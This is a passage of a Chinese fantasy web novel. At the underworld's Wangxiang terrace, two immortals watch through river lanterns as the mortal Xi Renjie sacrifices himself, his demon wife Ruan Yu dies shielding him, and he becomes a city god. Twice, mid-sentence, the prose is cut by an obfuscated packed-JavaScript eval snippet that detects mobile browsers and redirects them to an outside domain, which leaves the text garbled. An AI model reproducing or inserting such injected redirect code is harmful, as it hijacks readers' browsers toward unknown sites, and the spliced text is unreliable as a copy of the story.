水灯一物,生灵都见过,那是人间亲友为亡魂点的引路灯。 灯来了冥界,只能走水路,为方便区别与人间的叫法,便取名叫了水灯。灯过高台,这一路相送也就结束了,而灯流过来时,会在灯心中带来人间景象,让逝者再最后瞧上一眼人间。 河面星光点点,水灯样式各异,荡漾游动之势却一模一样,仿若在排队而行,整体观之,就像那上元灯节放的水上花灯。加之黑夜不尽,上空明灯漂浮,一上一下,让河面浮景更加生动了两分。 然此番美景,却没能入了第五茗的心头。 她失落道:“姿色平平,景色也就这样吧,还没庙会时,天界的盛景好看。” 酆小洪一愣,道:“上君可能不知,来此的人魂,渡劫的仙君,均不是因这里的景色留恋。” 回想起在廊梯上的见闻,小鬼一上高台就哭泣,又想起登上望乡台时,两根高柱的刻言,第五茗悟了,道:“原来是情之所起。” 酆小洪道:“嗯,未了之情,未散之意,未尽之缘,浮世三千,一生之事都困在其中,美则美矣,却再也不能拥有,故而意不尽,情难清,缘非圆,小鬼们流连忘返。” 沉吟片刻,第五茗泼冷水道:“唉…该说不说,困住他们的不是浮世三千,是司命府的那一份簿子,他们留恋的也不是此间未触之景,而是司命笔下拟了结局的故事罢了。” 指向水灯,她道:“仙君当过一日司命,不会连这也相信吧?” 未着司命玉袍,大红喜服却为第五茗添了六分昔日司命风范——看淡苍生,看淡众生,看淡此生。 司命府的司命,对世人,最喜欢说这句话了,酆小洪却不太认同,反问道:“上君当真是这样想的?” 第五茗揣手入大袖中,不知道又做着什么小动作,她眺望水中游过来的两盏白烛水灯,道:“当然,那都是些无聊的故事而已,之所以故事内的人还在执着,那是定命格本子之初,司命便给了他们这份设定。” 酆小洪不置可否道:“是吗?” 你来我往间,两盏水灯刚好游到了望乡台,刚好顺水打旋,水面上的其他水灯刚好被旋入了河内,只有他二人这两盏,相依立在旋涡之上,直到水面上出现了一副二人都熟悉的画面——风雨江畔,水灯才慢慢也沉入了旋涡中。 他二人闭上了嘴,细细看着旋涡之景。 江畔边有一人,佝偻身子,容颜枯槁,拄木棍,缓慢行走。 他嘴里碎念人名,手中隔一段时间,就撕下一张写满密密麻麻小字、字上均有划痕的册页,把其扔进江中。 纸落,水浸,字散。 他会心一笑,神鬼见喜。 一盏引魂灯浮出江面,顺水而行。 他又开始重复先前的动作… 此人第五茗和酆小洪熟悉,其他正在镜台里望凡间景像的小鬼也熟悉,他正是风雨江使郤人杰。 然而,风雨江内,那突然出现,没人在意的千万盏引魂灯,若是他们仔细留意,会发现比起郤人杰,这灯会更为眼熟,因为它们和刚才被旋涡卷入的水灯,简直是一模一样,分毫不差!! 水灯映现风雨江和郤人杰,这怪异的一幕,除了是第五茗和酆小洪所见的人间最后一景,其他许多小鬼,在自己的镜台内看见的也是此番景象。 第五茗错愕,道:“我居然看见了他?” 她再一次不确定道:“我与他无甚交际,心中也无所念,无所思,怎么会看见他…” 心头一紧,自我怀疑,她小声嘀咕道:“非我亲友,入我心,我又操空心了?唉…都怪在石料场,白替他担心了一场。” 怕第五茗想太多,酆小洪在一旁好心提醒道:“上君,水灯。” 恍然大悟,第五茗注意到了风雨江中的引魂灯,也想明白了,郤人杰既然能立铭牌碑,当然也能为她在人间点亮引魂灯,自然…水中灯因他而来,魂见景难免里面会有他的身影。 第五茗挥袖,想换一幕,水面上却还是刚才那副景象,纹丝不动。 她不禁疑惑道:“怎么换不掉…” 又在面前挥了挥,旋涡水波紊乱,但画面依旧不改,她恼怒地抓了两把,可水波并没有因她的举动,而停止流转。 她心中咒骂:什么鬼!我心还不由我了?欺人太甚! 捏拳,捶在栏上,她力气不小,想要振开旋涡。 “嗯~”!! 一道呻吟,突然划破水面。 酆小洪双腿紧绷,一手捂上胸口,一手挡住栏上第五茗的第二轮秀拳。 他浑身,自下而上,瞬间烧了起来,滚烫直至。 二人相对,错愕,疑惑,羞耻,尴尬,绯色…快速轮番出现在两人脸上。 还是酆小洪涨红着脸,率先局促开口道:“上君,你在我的镜台内。” 这… 第五茗收回挥舞的手臂和手爪,抽回被握住的手,那上面还有对方手心里的燥热,她结巴道:“哦…哦…我刚…刚刚我忘了…忘了,你…” 还好吗? 不敢问出口,她只能哈哈哈…尬笑了几声,手慌张地揣了回去,偷摸地,左手惩处右手,右手责罚左手,没话找话道:“仙君很在乎他?” 双手握拳,拼命冷静下来。 她心道:别想,别想。我不瞎想,仙君你也忍住,别多想!忍一忍就过去了…忍一忍,那种事,听说来的快,去的也快,你忍忍,我不是故意的。 而水面,早随着酆小洪哼吟的一声破碎,画面模糊不可见,流水也开始不停地翻涌。 一阵又一阵… 像烧开的沸水… 咕咚咕咚… 哗啦啦… 停不下来。 不知道第五茗那问题问了有多久,两人就那么僵硬地站着,谁都不敢再多动一分。 酆小洪咬牙重重呼出一口气,无奈地手中法力轻送,让波涛汹涌的水面尽量归位。 水中,复现郤人杰手撕册页之景,可那本厚厚的册子,居然只剩两三页了。 看来时间过去了很久,第五茗和酆小洪好像错过了很多… 错过了郤人杰走过风雨江这一路。 镜台受了第五茗惊扰,酆小洪心绪难以平静,他压低头吞咽缓解,用了最笨的办法,掐上大腿的肉,抿唇隐忍,声音磁麻道:“不算在乎,只是有些事,刚好可以在望乡台上观望一番。” 拨动上君心水… 若是再给一次机会,第五茗一定不会这么粗心大意。 窘迫之余,她却突然想到一事,做人时,她常和酆小洪相拥而眠,一是她习惯了锁住痴儿,让他好好睡觉,不要半夜三更跑出去,二来是因为她体寒,尤其冬日,若没有酆小洪暖铺,她估计多半会被冷死在被窝里。 两人年岁越来越大,她本来还介意男女之防,可自打发现酆小洪从未做过纾解之事,她便当酆小洪不是正常男人。 她脑子里,也种了一个想法:痴儿是会不举的。 可此时看来,酆小洪的魂身明明是个正常人。 那说明… 酆小洪做人时,也应当是个正常人。 第五茗心道:原来智力不影响这个。 察觉到身旁人的躁动还有残余,她这位罪魁祸首,眼角抽搐着,悄悄挪动步子,远离了处于暴走边缘的酆小洪半臂距离,特意侧低了头,用耳后碎发一叶障目,视而不见,听而不闻… 最后,磨蹭了许久,见相安无事,她才顺口问道:“和郤大人有关?” 她挑起的错,酆小洪打算包容,“嗯”了一声,便静静望着水面,缓慢吐纳,由着手旁空隙越来越大。 水中显现,一册纸张撕完,郤人杰寻上了一块半入江水中的大石。 他扔了手中拄棍,跪拜在地,咬破手指,在额上推出了一道火纹,从随身背的包袱里拿出一只香,将指尖的血滴在了香头上,嘴中咒念,手上高举血香,瞬间青天白日,乌云骤起,云层中雷霆电火穿梭。 此景很解‘火’。 望乡台上,第五茗和酆小洪的注意力都集中在了水面旋涡里。 郤人杰手中的香头,血迹消失,文香被点燃,无灰,火色明艳,又异常。 香火竟烧出了金色! 凡人烧金辉… 第五茗诧异,她听过,却没见过,慢慢地,不自觉地,竟忘了先前的尴尬,姿态也自然了许多。 凡人烧金辉这东西,只在当年围剿魔界时几位帝君用过,具体用在什么地方,即便没有大肆宣扬,大家也能猜个七七八八。 原是,凡人烧金辉… 一得凡人。 二得有活血。 三得凡人本人,手持血香点火。 所以,几位帝君使用的对象,除了当年被献祭的十七个孩童,还能是谁。 不如刚入镜台那阵,此时,第五茗心中像突然涌进了什么东西,又好像有什么东西卡在了她的喉咙里,让她好半晌,才神情落寞道:“郤大人的日子在今天?” 有了对冲的东西,酆小洪也平复了下来,他显得格外平静,点头道:“嗯,今日。” 然而,他握在腰间佩印上的手,却出卖了他此刻的内心——他很担心郤人杰。 不对啊! 怎么还在这里? 若真按照石料场所说,那郤人杰是灭身灭魂,时辰都到了,仙君还待在这里。 他来冥界走一遭,难道不是为了郤人杰? 见身旁人没有任何动作,第五茗眉头一锁,想着想着,摇头叹气,又开始不禁暗自为郤人杰担忧,心中还仔细琢磨着——此时此刻,是否还有郤人杰的命数解法。 一只香燃尽,郤人杰浑身充斥金光。 那金光,不是光,是火,是用来烧肉身的火焰。 郤人杰双手撑地,站了起来,整理了衣襟发髻,抬步,淌水入去。 风雨江畔,了无一人。 死了这么多人,此刻,居然连一个鬼影子也没有… 想起郤人杰的好,和郤人杰的苦,第五茗眼眶发酸,同病相怜,心中不忍,嘴上终是再一次替他询问道:“仙君…你当真只需在望乡台上看一看?” 酆小洪拽住佩印的手放了下来,他刚刚为郤人杰再一次复算劫数时,才看透,第五茗神格所带来的影响原来在这里——让郤人杰烧身消怨消怒的时辰提早了半日。 常遇春来不及了。 就算去城隍庙逆命拔牌楼也来不及了。 终归是天神神格之力… 再多的干预,到底是来不及了。 江面空空,水没郤人杰头顶,空中雷霆万钧,只要郤人杰的魂魄从水里出来,便会被击打挥散,而拥有郤人杰保命冥钱黄纸的常遇春,还没有赶到,酆小洪受困于魂身,此时又是在望乡台,他就算有其他心思,也无济于事。 他看向身侧发问的人,眼中青面愁容,魂体羸弱不堪,却一心牵挂水中人。 他叹息一声,违心道:“嗯,原就打算在这里送送他。” 第五茗张大了嘴,模样哀衰,挖苦道:“我还以为仙君走这一路,是为郤大人…没曾想,是为来这里送他一程,东岳帝君可真会安排。” 江水咕噜咕噜,像要涌出什么东西。 心有不忍,第五茗半闭眼睛,正准备逃避郤人杰魂魄被雷霆寂灭的瞬间,耳边就冷淡传来一声,提醒道:“上君,登台以后,见水灯,不可闭眼回避。” 一语惊醒,第五茗重抬双手,撑在双眼上,道:“什么破景!还非看不可…恼人!” 咕噜噜…咕噜噜… 江面滚涌奇异,‘咚’地一声,破水 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15547205|171191||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 而出一男一女,男的身上金辉还在,没有完全被地下恶鬼怨气侵蚀,魂魄也没有离体,散披发丝,似太过疲惫,才一直垂着脑袋。 而女的身上,则比之要精神抖擞许多,状态却看着不是很好,她一手弹指,一手推送,散出一层又一层,带着绿色光晕的法力,那法力靠近男子后,小心翼翼地围着金辉形成了一个圈。 让火,继续在男的身上烧着,却捎不走一丝一毫。 “太好了!” “太好了!” … 望乡台本应没有嘈杂之声传出柱前结界,然而,镜台内近百数的小鬼不约而同,道出同一句话,声音嘹亮,破空而出,顺水而至,惹得水台上、凉亭内的小鬼们频频好奇:望乡台上究竟看见的是什么景色,能让小鬼们如此同心惊呼。 意料之外,情理之中,第五茗看清江水中出来的二人后,也不免心神恍惚。 她毫无察觉,强撑眼皮的双手已经缓缓垂下,她眼睛也不再躲避,她道:“阮瓀…郤人杰…” 回过神,她拍栏叫好道:“对啊!龟妖阮瓀在寻郤人杰,早在土地庙时,就解言告诉她在风雨江内等候,我怎么把这茬忘了,她本就对他情深义重,又怎么会眼睁睁看着他去死!” 兴奋之余,第五茗蓦然想起居然又拍了一巴掌扶栏,顿时缩回了手,脑袋不敢转动,呆呆地望着水面,好一会儿,她没有听见先前的尴尬呻吟,才放下心,继续注视水中的动静,心里也止不住地为郤人杰得救感到高兴。 第五茗高兴得太早了。 忘记了上方乌云里,郤人杰献祭出的万钧雷霆。 那一道雷劈下,力道不会比渡劫雷轻上多少,何况被困在其中的还是一人和一妖。 人和魂没烧干净,又都双双完好无缺出了水面,献祭出的阵法,自然有所感应。 天上,云海滚动,雷声阵阵,电火一闪一闪地向下搜寻,阮瓀施法念咒,拖着郤人杰躲避,一道雷火摸到了水面,风雨江水立即化作雾气,由下而上,弥漫蒸腾。 紧接着,便是第二道,第三道… 七八道下来,雷电始终没锁住要锁的人,开始威力大增,不再一道一道地降,而是数条并扫,阮瓀只是过水湖里的一只小妖,没有高人指点,也没有灵丹妙药,寻夫之时,又消耗不少法力,受了大小不一的伤,如今,已是强弩之末。 “郤郎!” “啊!!” 咚!啪!! 两道雷火,一道击中阮瓀,一道击中郤人杰,让二人重重摔在了郤人杰跪点血香的大石上。 望乡台上,小鬼又一次,在各自镜台内,齐齐惊呼:“小心!”惹得台下幽魂和使者,一顿好奇。 小鬼心系水中景,景中事,不少小鬼凭栏而望,忐忑不安。 好一阵,水雾散开,他们才瞧清大石上的情况。 龟壳作为寻人酬劳,留在了平安村土地酸楂那处,阮瓀徒有肉身,哪能抵住雷火灼烧,她浑身焦黑,发丝凌乱,早没了先前寻夫时的明艳模样。 她忍着剧痛,‘呕’地把胸中淤血吐了出来,四肢并用,爬到了郤人杰身旁,将之抱入怀中。 绿色的保护圈没有了,郤人杰身上的的金辉复而蔓延,许是这个过程太痛,让他在低吟中醒了过来。 阮瓀因为不堪受雷霆一击,伤得太重,手上多番努力,也没能重新聚出一圈保护郤人杰的法力,发现怀中人有了意识,她啜泣地唤道:“郤郎…疼吗?” 这道声音,郤人杰已经很久没有听过了… 久到忘记是在下雨时最后一次听的,还是过水湖泄洪时,是他最后一次记下的。 他本想要扭转脑袋,抬眸望眼,瞧上一瞧,但轻轻挪动,蹭在阮瓀衣料上的肌肤便如树木剥皮,‘唰’地一下,掉了下来,变成细末,染在了阮瓀的衣料上。 头顶伴随一阵惊呼,道:“郤郎,你不要动…不要动…我来。” 眼前模糊不清,他不知道发生了什么,但身体还是一副人身,还有触觉,他能感觉到异样,是他的脸颊,那里不知为何突然没了痛感,很是舒适,让他拼命地想要去舒缓身体上其他地方的疼痛。 而他头顶上方,阮瓀却急言制止,所以他也就忍着了,听话地不再有所举动。 可他又生怕这是疼出来的幻觉,声音颤颤抖抖,不确定道:“小…小阮?是小阮吗?” 阮瓀应道:“是我,是我!” 又想起方才阮瓀问他的问题,扯起嘴角,艰难地道:“不…不疼,小阮护着,从未疼过。” 阮瓀身体一震,怀中这幅因疼痛将眉眼拧捏在一块的面容,是她陪郤人杰修缮风雨江时,见过不少次的神情。 那时,郤人杰天天因风雨江受伤,他不想耽误工程,就隐忍着,也不告诉她,直到疼痛加剧,出现这幅神情,被她发现,他才会好好接收治疗。 而‘小阮护着,从未疼过’,是他每次口是心非,调侃她的话。 话是假的,郤人杰嘴角唯一一处喜悦却是真的,他没想过还能再见到阮瓀,控制不住地猛然抽出手,想要抚摸那太久未见的人。 可他指尖刚碰上阮瓀,还没来得及细细感受,手掌便随风散了去,只余下半截上臂,无所举措。 “不要!!” “郤郎!” “不要动!求你不要再动了。” “不要…你听话,不要再动了…” “让小阮来好吗?” 疼痛又少了一分,知觉也少了一分,郤人杰在阮瓀收不住的哽咽声中,将断臂缓慢地放了回去,他轻松地道:“嗯,我…不动了。” 模样又安静,又乖巧,一如初见那日,他静静地等着,守着…直到阮瓀做完她要做的事。 因为,他大概猜到了… 疼痛消失… 是他也要消失了。 他要没有时间了… 28. 望乡台拔楼点将3 眼看郤人杰这个人就快‘烧’没了,阮瓀实在止不住眼泪,就任其啪嗒啪嗒地掉着,腾出双手,一手去托住郤人杰的身体,另一只戴着柳藤编织成假肢的手,则极力去抚慰郤人杰。 她咬唇停顿,吞下哽咽,让声音更加脆,娇嗔道:“你听话,先不要动。你这幅好模样,你知道我是最喜欢了,可如今有些狼狈,我替你整理整理,你先不要乱动。” 郤人杰道:“好…” 阮瓀没有急着为郤人杰整理发髻,她努力寻找献祭阵藏在郤人杰身上的引子,因为只要解开金辉和雷霆,她就可以保下郤人杰。 阮瓀细语道:“我先从手开始…” 郤人杰道:“好…” 阮瓀道:“然后再帮你整理身上。” 郤人杰应道:“好。” 周围雷声不断,阮瓀有些焦急,话语却还是细细柔柔,道:“我一处一处来,你听话不要乱动。” 郤人杰勉强扯了扯嘴角,道:“好,听你的。不过…小阮可以的话,尽早为我挽上发髻吧,我披头散发的模样不好看,不想小阮看我这副模样太久。” 他心里想的却是:最后一眼,还是应该给小阮留一个好记忆。 阮瓀道:“好。” 她找了一圈… 郤人杰手断了一只,另一只手上没有。 身上没有。 腿上没有。 脖子上也没有。 还剩余的半张脸颊上居然也没有。 难道在背上? 阮瓀迟迟地不动作,让郤人杰忍不住发问道:“小阮,不梳发髻吗?” 眼眸一滞,阮瓀停止了搜寻,道:“我给你的发冠不在了…” 郤人杰歉意道:“路上换了点银钱给村子里的人,我记得地上有枯枝,用枯枝盘吧,你梳理的发髻,不戴冠也好看。” 在他投江时,石头上早被风卷过,哪还有什么枯枝。 阮瓀柳藤假肢一抬,一节不带芽叶的柳藤,编出了一个男子发冠。 她小心翼翼地挪动身子,还是蹭掉了郤人杰不少身子。她转到郤人杰背后,依旧没有找到引子,叹气之余,手上力度轻巧,一丝不苟地把郤人杰散乱的发丝盘了起来。 “好了。” 郤人杰问道:“可还是当初那副模样?” 阮瓀一边小心挪回郤人杰面前,一边答道:“是啊,还是那副模样,好看,让我瞧…” 献祭阵的引子! 原来画在了这里。 没了发丝遮挡,额间那道血推出来的火纹,引诱着天上的雷霆,疯狂飞舞——就像是在说,来啊,我还在这里,怎么还没劈死我! 话还没说完,雷霆又开始密集的落下。 郤人杰慌张起来,不淡然地道:“小阮,你先离开这里,快点…离开这里。” 引子找到了,郤人杰有救了,阮瓀悬着的一颗心终于放下了,她笑道:“郤郎,你在这里,我怎么可能离开,况且…” 郤人杰凑了力气,声嘶力竭地,吼道:“不行!” “你快离开!!” “听我的话…” 郤人杰说着,便扭动身体,他四肢、身体,欻欻地往下掉,双手都没了半截,依然还在推着阮瓀,可左右挥舞,愣是没起到一星半点的作用。 倏地,他额间一暖,身上疼楚回归,半截手臂也抱住了一人,脸上也隐隐约约慢慢传来一份知觉。 一份温热的吐息,轻柔地打在他的鼻翼上,离他很近,很近… 耳边再度响起阮瓀的声音,近在咫尺,贴着他脑袋在讲话,道:“况且,我话还没讲完,郤郎怎么能赶我走。我说…郤郎好看,让我瞧进了心里。” 六感皆回,一张模糊的五官慢慢显现,阮瓀抵额在前,那道火纹刻在了二人之间。 轰!滋~ 雷霆落下了,越过郤人杰,落在了阮瓀身上。 阮瓀吃痛,道:“郤郎,我很喜欢你…咳咳咳,因为太喜欢你,太想要和你在一起了…对不起。” 郤人杰急了,他想救的是黎民百姓,和她。 不是没有她的风雨江… 这种结局,不是他要的。 错了…错了!结局错了!! 他拼命喊道:“阮瓀,我求求你,离开这里,不要犯傻…离开这里。” 金辉烧在郤人杰身上,可‘引子’因为阮瓀的举动,让献祭阵分辨不出需要被献祭的人是谁,击下一雷后,见‘引子’上还有气息,接着继续降下雷霆,一道道重击的声音在郤人杰耳旁炸开。 阮瓀虚弱道:“郤郎…你…你飞不了仙了,对…对不起,我不该那…那么自私。” 听她说起‘飞仙’,郤人杰一怔,半截手臂拥紧对面人,道:“你什么时候知道的?” 阮瓀哭笑,道:“仙妖…殊途,我害了你,对…不起。” 一雷火闪下。 尘烟乍起… 一副肉身,烧毁在大石块上。 郤人杰怀中空落,整个人狼狈地扑倒在地,他傻笑道:“为什么不问问我!为什么!!阮瓀,你倒是该问我的!!” 做人不成仙,伴却一世缘。 郤人杰傻笑道:“只要你在,我就只会是人啊。” - ‘引子’消失,雷停云散后,郤人杰在地上抱着一颗发光的‘珠子’痴愣愣地喘气。 他身上疼痛变轻了,但并没有消失,正一点一点地回到他身体里。他呼吸越来越重,天上的晴空又被乌云席卷,雷霆再度闪现,额间又出现了那道火纹。 望乡台内,小鬼们不可置信的看着眼前的一幕:阮瓀做了无用功。 另一边,第五茗也十分震惊,心道:原来这才是点血香,凡人烧金辉…无解! 顿然,转头,她询问此间另一人,道:“血香是用来追踪的吗?为何阮瓀替不了郤大人?” 身旁空空如也,哪还有别人… 转了一圈,望乡台上除了第五茗,不再有第二人,她自问道:“人呢?难道是回自己的镜台了?” 说着,手上便向前方水景挥去,水波纹丝未动,景象未如心意转变。 第五茗想起先前事,踟蹰地把手收了回来,嘴上大声道:“对不起对不起…仙君啊,你离开怎么也不说一声,这…我刚刚是无意之举,无意之举,和先前一样,是无心之举,无心之举啊,你一定会原谅我的吧。” 正道歉着,水面金光爆裂散入镜台内,第五茗双手食指撑住眼皮,防止它闭上,惊叹道:“飞升了!哈哈哈哈…仙君真是的,原来是去做这事了。” 金光刺眼,好多镜台内,因为小鬼们眨眼躲避,望乡台上噼里啪啦砸下一道禁制,但因河水中透进来的金辉,又相互抵消了。 小鬼们虚惊一场,纷纷在金光散去后,朝水面看去。 风雨江一片平和,乌云未见,雷霆不复。 哪还有什么残缺之人。 只有一位仙者,容光焕发,金光闪耀,头带柳藤发冠,额间闪烁火纹,穿着绣有山脉纹样胭脂玉袍,腰捆玉带,一手握稻谷,一手捧发光‘珠子’,闭眼悬于江水之上。 半晌过去,岸边又跑来一位同样穿着的人,只是那人头上绑的是条藏绿布巾,手上捧着一顶纱帽,文文弱弱,书卷气浓厚,比之天上挂着的‘人’,少了几分官威戾气。 那人弯腰曲身,双手捧起纱帽,奉过头顶,道:“在下风雨江第三任城隍常遇春,奉东岳帝君之令,迎风雨江第四任城隍郤人杰赴任。” 闻言,郤人杰半抬眼眸,看了眼手中的‘珠子’,道:“我不愿,亦不接。” 回想起方才发生的事,云中雷火落下,他身轻体盈,腾空,躲过了一道又一道,不消一刻,身上金光冲破金辉,身体重新长了出来,痛楚也消失了,风雨江上的景色也变了一轮,他慢慢昏睡了过去,再醒来,就是现在这幅模样。 走任临安郡后,郤人杰见过不少地方的城隍庙,里面的神像虽然囫囵,但主要的物什都是有的,山脉图、玉腰带、金稻谷…他醒来后,一样不少。 心中了然,定是先前找上门的大神,不顾他意愿,擅自做了那件事。 下方,常遇春耐心劝道:“郤大人,庙内琉璃牌楼已拔,事已成,没有改的余地了。” 郤人杰无情道:“风雨江怨魂清毕,我的事就算了了,还有劳阁下,回去请那人收了这份心意吧。” 怎么还有人不想做仙的… 劝鬼容易,劝神难,常遇春想起离开庙门时,他人交代的话,道:“郤大人,您夫人…” 郤人杰厉声喝道:“住嘴!怎么…你们就这么不肯放过她吗?” 常遇春急促道:“误会误会,郤大人…您夫人需尽快泡入过水湖的湖心水中,否则性命堪忧。” 眼前一黑,一高他半头的身影,遮住了他面前的光。 手中一轻,纱帽被人拿走,他抬起头,郤人杰正焦急地看着他。 对方抬起手,捧上发光‘珠子’,嘴唇哆嗦,憋出几字,道:“阮瓀还…还在?” 常遇春点点头,却又叹了一口气,道:“需得郤大人你先带上纱帽,帝…我…我才能救你夫人。” 柳藤冠落,不过一瞬,郤人杰单手带上纱帽,算是接了第四任城隍官的调令,他手捧‘珠子’,急忙道:“救她。” 常遇春从怀中掏出城隍茶壶,示意道:“里面是过水湖的湖心水,可以先养着夫人,后续…你自行去城隍庙一趟,便清楚了。” 郤人杰接过茶壶,含头感谢,收了戾气,道:“先前多有得罪。” 常遇春道:“无妨。” 从怀中掏出一早就收捡在他这里的城隍任命书,额外提醒道:“我在这位置上三万载,知城隍的冥钱黄纸有何作用。夫人身毁,但妖丹和魂魄还在,你把它裹在茶壶外,可保魂丹不散…” 郤人杰先接过城隍任命书,小心翼翼地裹上茶壶,才对常遇春行礼感恩,道:“多谢。” 双手抱着茶壶,心中焦虑如何救回阮瓀,不敢多做停留,他当即抬步,便朝城隍庙而去。 常遇春客气的声音,飘了一会儿,才传进他耳朵,道:“不用谢,能为郤大人和夫人做一点事,也是我之幸哉。” 郤人杰脚下不停,侧头点头示意,身后又一声传来。 常遇春提醒道:“郤大人,我担心你着急,擅自为你取了湖心水入茶壶内,城隍庙的大缸内空了大半,到时…您可能需要立马再去求帝君赐予一些了…” “好,多谢大人提醒。” 人已离开百米,声音又传出一道,常遇春大喊道:“正殿!正殿…我放了很多妖界的书籍…” “多谢…” 人影眼见就要没有了,常遇春手指捏诀,千里传音道:“郤大人若是有事需要帮忙,可以随时找我啊…我刚卸任,有的是时间。” 远远的,轻轻飘来一字,“好…” 郤人杰走了,水灯也游到了望乡台另一边。 浮世悬灯差不多都落了下来,油火忽闪忽闪,熄灭回常样,不少人魂从镜台走了出来,回过神,在望乡台上回顾镜台内所见,不舍离去。 出口廊梯不下鬼,入口廊梯还有持续登上来的新鬼,霎那一瞬,鬼挤鬼,水泄不通。 空闻嚎声,不见落泪,但也算是哭泣,小鬼因为亲友哭得稀里哗啦,后为郤人杰和阮瓀担忧,惊吓出不少嚎叫,此刻,又为两城隍官的诚诚善意,感动得惊天动地。 一鬼干吼道:“呜呜呜…阿娘独自一人在家中,日子可怎么过啊,她腿脚看着是一点也没好。” 一女鬼嘶哑,不甘又自责道:“眼瞎吗!选了一个什么负心汉,小叔待你那般好,为什么死后才看清。” 一鬼跌坐在地,无助瞪眼道:“杀错人了,杀错人了…” 然而更多的小鬼,嘴里哭诉之言,是为风雨江上之事。 一鬼感动道:“没想到日日拜的城隍大人,是个这样好的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15547206|171191||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 仙官,和我阿姐一样。” 又一鬼附和道:“那倒是,和我阿娘也一样,操碎了的心,但…会不会太啰嗦了。” 出来的小鬼都在擦干干的脸颊,许是应景生情,第五茗不知道何时,两侧脸颊,从哪沾染了两滴水,怕其他人误会,慌乱抬起袖子,在脸上抹了去,搭话道:“那城隍也不算啰嗦,就是心太善,为他人考虑了太多。” 吐槽的小鬼思虑道:“刚刚听爱管闲事的城隍说,他是第三任,那郤大人岂不是就是第四任?那这城隍之后去哪啊?仙者们也要轮换吗?跟做官一样?做更大的仙?郤大人不会是挤走了这位城隍的位置吧?” 一连串发问,三人半腰下,一小孩鬼笑声传来,道:“哈哈哈哈,先生说我问题多,原来你们大人也会问题这么多,该挨板子。” 小孩鬼脚下也快,众鬼还没反应过来,他就结结实实在吐槽鬼膝盖上踹了一脚。 骨碎声,在闹哄哄的望乡台上十分清晰。 只有第五茗知道,那不是什么骨头碎了,是魂碎了,心中不禁叹道:魂魄了得!竟能一脚踹碎他人魂体。 吐槽鬼被嘲笑,膝盖还莫名其妙受了一击,虽没有多大感觉,但还是觉得受辱,不管对方年龄,暴怒一跳,伸手就要拖拽小孩,以作还击,幸好,第五茗眼疾手快,先他一步把小孩拉到了是非之外。 吐槽鬼道:“干什么!” 第五茗姗姗地道:“哎呀~这不受了那城隍大人的影响,还没出情绪嘛,心里忍不住,这小孩估计也是一样。” 她懒得去宽慰吐槽鬼,魂魄碎了,入了六道就能修复,不是什么大事,她也不想在望乡台上惹事,便用身子挡住小孩鬼,转移话题道:“刚刚老兄问这城隍之后去哪,我在入鬼道前听说了一二,不知老兄感不感兴趣?” 原先感动的那只鬼,听闻第五茗知道下文,立即凑了过来,还拉了熟悉的两只鬼一起凑热闹。 吐槽鬼脚下生根,心里也在好奇,犹豫道:“说来听听。” 第五茗道:“听闻,城隍大人之后是要到天界任职,知道天上的雷部仙君吗?” 众鬼点点头,她继续说道:“好像以后是雷部元帅的手下,是个顶顶好的前程。” 凑热闹的鬼问道:“仙界也讲前程?” 第五茗答道:“应该讲吧,不然那么多神仙,谁听谁的,总得有个分说啊。” 另一只凑热闹的鬼道:“他们也有三六九等之分吗?” 第五茗拍了拍对方肩膀,道:“那不然呢…老兄,你想想,没区别,为什么无常明明是鬼仙,却不能去天上住呢?这自然是被他们分下来了呗。” 众鬼唏嘘… 原来这天上地下和人间没有什么区别。 旁边一小女儿样的鬼,和他们不一样,抓住的重点也不一样,还沉浸在镜台里看见的事,她柔柔啜泣,道:“好羡慕阮瓀啊…这是比戏台上的情码还要好看。人为妖不成仙,妖为人犯了罪…” 旁边鬼听闻,擦着干硬的脸颊,鄙夷道:“疯了吧!你忘了自己是怎么死的了?” 小女儿样的鬼,脚跺地表示抗议,娇柔道:“你懂什么…庸庸碌碌一生,还不如戏台上的一出戏呢,你我这样,活着也是没意思的,死了倒是可以重来一次。” “疯了疯了,做鬼的,也疯了…” 小鬼吐槽后,踱步挤向唯一的出口廊梯。 他受不了这群又八卦,又瞎说的小鬼们了! 望乡台上,小鬼们或多或少有些萎靡和癫狂,乱作一团,凑在一起讨论。 好不容易有小鬼挤着人群往下走,打开了一个缺口,第五茗赶紧把背后藏起来的小鬼拖着,两步并做一步,兵荒马乱地逃离了这群唧唧咋咋说不停的鬼,看了眼手中护着的小孩鬼,嘴里啐道:“真是多管闲事!” 临到廊梯上,见顶上乌云中钻出闪电,朝望乡台上奔去,第五茗又菩萨上身,站在原地,挪不动步,她重重叹息一口气,原地大声喊道:“无常大人说了,水灯过,悬灯熄,不可在高台逗留。否则魂飞烟灭,四海不复!诸位再不速速离去,恐怕就没有来生了!” 马过留尘,鬼过凄凉。 因第五茗的话,台内的群鬼一哄而下,她手里小孩鬼被挤走了,她也被挤得在梯步上站不住脚,连滚带爬,一路摔到了水台上。 凉亭内,悬灯熄后,无常们就在水台上等着他们了。 好一会儿,他们都没一人接到鬼,突然,结界处,传来一阵轰动,滚出来一批人魂,各无常就在地上捡着自己的小鬼,走了一大半,埭骰埭桡才在最后面,找到了第五茗。 她趴在地上,呈大字型,下颌撑在地上,眼睛睁得老大,嘴也张得老大,但那嘴很奇怪,唇上向右,唇下向左,手脚也很奇怪,软软地,就那么摆着,完全不顾形象,任由路过的小鬼打量。 